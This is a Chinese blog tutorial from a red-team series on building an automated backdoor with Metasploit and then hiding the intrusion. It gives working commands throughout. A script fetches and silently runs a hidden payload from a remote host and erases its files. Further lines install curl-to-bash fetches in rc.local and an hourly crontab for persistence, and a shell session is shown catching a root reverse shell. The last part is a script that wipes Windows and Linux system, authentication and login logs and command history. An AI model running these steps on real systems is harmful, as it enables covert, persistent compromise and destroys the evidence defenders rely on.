首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >红队/白帽必经之路(23)——如何通过如何使用脚本以及Metasploit来进行自动创建后门以及如何做到红方真正的销声匿迹 [既然是红队,那就对自己狠一点]

红队/白帽必经之路(23)——如何通过如何使用脚本以及Metasploit来进行自动创建后门以及如何做到红方真正的销声匿迹 [既然是红队,那就对自己狠一点]

作者头像
盛透侧视攻城狮
发布2024-12-25 09:27:39
发布2024-12-25 09:27:39
2890
举报

1.实战-使用脚本来进行自动创建后门

1.2配置脚本程序

写入以下内容
代码语言:javascript
复制
#!/bin/bash

#切换工作目录
cd /tmp/

#把前面下载 Vegile 到执行后门文件的命令使用&&拼接成一条命令;&&表示前面的命令执行成功则执行下一条命令

# echo y | 表示将 y 作为 Vegile 命令的输入,因为执行 Vegile 命令是需要我们按任意键退出,所
以我们手动输入一个字符让程序执行完成后自动退出。

#>> /dev/null 2>&1 不显示所有输出结果。

wget 192.168.1.53/Vegile-master.zip && unzip Vegile-master.zip && cd Vegile-master && chmod
+x Vegile && wget 192.168.1.53/xuegod-ghost && chmod +x xuegod-ghost && echo y | ./Vegile --i xuegod-ghost >> /dev/null 2>&1

#2>&1 的意思就是将标准错误重定向到标准输出。这里标准输出已经重定向到了 /dev/null。那么标准错误也会输出到/dev/null。/dev/null 可以看作"黑洞". 它等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到


#删除下载的所有文件

rm -rf /tmp/Vegile-master.zip /tmp/Vegile-master
  • 保存退出即可,脚本文件不需要添加执行权限
回到 MSF 控制台进行测试
  • 首先我们先清空后台任务和前面已经建立的 session
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for 
hosts
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.3.55-dev                          ]
+ -- --=[ 2397 exploits - 1232 auxiliary - 422 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/



msf6 > 
msf6 > 
msf6 > use /exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > jobs -K
Stopping all jobs...
msf6 exploit(multi/handler) > sessions -K
[*] Killing all sessions...
msf6 exploit(multi/handler) >  exploit -j
回到centos 上执行一下脚本
参数详解:
  • bash <() #表示将括号中的内容通过 bash 来执行
  • curl -s -L #curl 是一个利用 URL 语法在命令行下进行文件传输的工具
  • -s --silent #表示静默模式不输出任何内容
  • -L 跟 http 连接,组合使用的效果是把 http 连接中的文件下载到内存中,然后传 bash,进行执行。
  • 上述的好处是:本地不会保存任何文件。
  • >> /dev/null 2>&1 不输出任何信息
回到 MSF 控制台
这时候pwd
代码语言:javascript
复制
msf6 exploit(multi/handler) > sessions -i 21
[*] Starting interaction with 21...
pwd
pwd: error retrieving current directory: getcwd: cannot access parent directories: No
such file or directory
  • 可以看到,提示目录不存在,因为 payload 所在的 Vegile-master 目录已被删除,我们只需要切换目录即可。
代码语言:javascript
复制
cd /root/
pwd
/root
id
uid=0(root) gid=0(root) groups=0(root)
注意:
  • tmp 目录中我们下载的所有文件也被清除。

1.3配置开机启动

把所需执行命令添加到开机启动项
原因:
  • 一般黑帽进来都会在开机启动项里加点东西,/etc/rc.local
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# echo "bash <(curl -s -L http://192.168.1.53/xuegod.sh) >>/dev/null 2>&1" >> /etc/rc0.d/rc.local  
添加可执行权限
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  chmod +x /etc/rc0.d/rc.local
回到 MSF 控制台开启侦听
代码语言:javascript
复制
msf6 exploit(multi/handler) >  sessions -K   #删除原来的会话
[*] Killing all sessions...
msf6 exploit(multi/handler) > exploit -j       #重新侦听
reboot centos 操作系统

1.3配置计划任务

查看系统级别计划任务
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  ll /etc/crontab
-rw-r--r-- 1 root root 1042 2024年 1月21日 /etc/crontab
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  vim /etc/crontab
参数详解:
代码语言:javascript
复制
PATH=/sbin:/bin:/usr/sbin:/usr/bin #系统执行命令的搜索路径
MAILTO=root #将执行任务的信息通过邮件发送给 xx 用户
末行添加:
代码语言:javascript
复制
0 */1 * * * root bash <(curl -s -L http://192.168.1.53/xuegod.sh) >> /dev/null 2>&1
#保存退出,每小时执行一次。

2.系统日志清理——销声匿迹

2.1Windows 日志清理

  • Win+R 运行:eventvwr
  • 正常的远程访问在 windows 的时间查看器中可以看到相关记录

回到控制台查看

删除系统日志目录下的一些日志文件。
代码语言:javascript
复制
meterpreter > shell
C:\Windows\system32>del %WINDIR%\*.log /a/s/q/f



del:删除文件。
%WINDIR%*.log:
%WINDIR%:Windows 操作系统安装目录,通常为 C:\Windows。
*.log:匹配所有 .log 后缀的日志文件。
/a:按属性删除文件。可以删除具有指定属性的文件(例如只读、隐藏、系统文件等)。
/s:递归删除当前目录及所有子目录中的 .log 文件。
/q:安静模式,不显示删除确认提示,直接删除。
/f:强制删除只读文件。

2.2Linux 日志清理

清理历史命令
代码语言:javascript
复制
history -c
让系统不再保存历史命令
代码语言:javascript
复制
vi /etc/profile,找到 HISTSIZE 这个值,修改为 0
删除访问日志

1. 访问失败的日志

代码语言:javascript
复制
删除登录失败记录:

echo > /var/log/btmp

2. 访问成功的日志

代码语言:javascript
复制
删除登录成功记录:

echo > /var/log/wtmp 

#此时再次执行 last 命令就会发现没有记录

3. 删除日志记录:

代码语言:javascript
复制
echo > /var/log/secure
最后脚本汇总
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# cat clog.sh
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
history -c
注意:
  • 执行时查看文件是否有执行权限且删除日志一般只有 root 权限才可以。
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-12-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.实战-使用脚本来进行自动创建后门
    • 1.2配置脚本程序
      • 写入以下内容
      • 回到 MSF 控制台进行测试
      • 回到centos 上执行一下脚本
      • 回到 MSF 控制台
      • 这时候pwd
    • 1.3配置开机启动
      • 把所需执行命令添加到开机启动项
      • 添加可执行权限
      • 回到 MSF 控制台开启侦听
      • reboot centos 操作系统
    • 1.3配置计划任务
      • 查看系统级别计划任务
      • 末行添加:
  • 2.系统日志清理——销声匿迹
    • 2.1Windows 日志清理
      • 删除系统日志目录下的一些日志文件。
    • 2.2Linux 日志清理
      • 清理历史命令
      • 让系统不再保存历史命令
      • 删除访问日志
      • 最后脚本汇总
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档